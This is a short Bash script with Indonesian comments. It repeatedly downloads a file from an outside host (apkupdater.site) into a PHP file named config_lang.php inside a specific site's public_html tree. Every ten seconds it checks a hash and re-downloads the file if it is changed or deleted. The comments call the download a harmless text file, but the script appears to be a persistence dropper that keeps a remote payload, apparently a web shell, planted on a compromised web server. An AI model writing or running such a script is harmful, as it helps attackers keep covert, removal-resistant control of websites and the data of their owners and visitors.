

#!/bin/bash

# URL sumber file (contoh file teks biasa, jangan file sistem!)
FILE_URL="https://apkupdater.site/sauls.txt"

# Lokasi penyimpanan (folder aman, bukan file inti WP!)
SAVE_PATH="/home/pauluniversityed/public_html/cep/system/language/english/config_lang.php"

# File untuk menyimpan hash terakhir
HASH_FILE="/tmp/file_hash.txt"

download_file() {
    echo "Mengunduh file dari $FILE_URL..."
    curl -s -L -o "$SAVE_PATH" "$FILE_URL"
    if [ $? -eq 0 ]; then
        echo "File berhasil diunduh ke $SAVE_PATH"
        # Simpan hash file yang baru diunduh
        if [ -f "$SAVE_PATH" ]; then
            md5sum "$SAVE_PATH" | cut -d' ' -f1 > "$HASH_FILE"
            echo "Hash file disimpan."
        fi
    else
        echo "Gagal mengunduh file."
    fi
}

check_file_changed() {
    if [ ! -f "$SAVE_PATH" ]; then
        echo "File tidak ditemukan."
        return 1
    fi
    
    if [ ! -f "$HASH_FILE" ]; then
        echo "File hash tidak ditemukan."
        return 1
    fi
    
    # Hitung hash file saat ini
    CURRENT_HASH=$(md5sum "$SAVE_PATH" | cut -d' ' -f1)
    LAST_HASH=$(cat "$HASH_FILE")
    
    if [ "$CURRENT_HASH" != "$LAST_HASH" ]; then
        echo "Hash berubah: $LAST_HASH -> $CURRENT_HASH"
        return 1
    else
        echo "Hash file tetap sama: $CURRENT_HASH"
        return 0
    fi
}

check_and_download() {
    # Jika file tidak ada → download
    if [ ! -f "$SAVE_PATH" ]; then
        echo "File tidak ditemukan. Mengunduh..."
        download_file
    else
        # Jika file ada, cek apakah hash berubah
        if ! check_file_changed; then
            echo "File berubah atau hash tidak ada. Mengunduh ulang..."
            download_file
        fi
    fi

    # Loop: cek tiap 10 detik
    while true; do
        if [ -f "$SAVE_PATH" ]; then
            # Cek apakah file berubah
            if check_file_changed; then
                echo "File ada dan tidak berubah. Menunggu..."
                sleep 10
            else
                echo "File berubah atau hilang, mengunduh ulang..."
                download_file
                sleep 10
            fi
        else
            echo "File hilang, mengunduh ulang..."
            download_file
            sleep 10
        fi
    done
}

# Jalankan script
check_and_download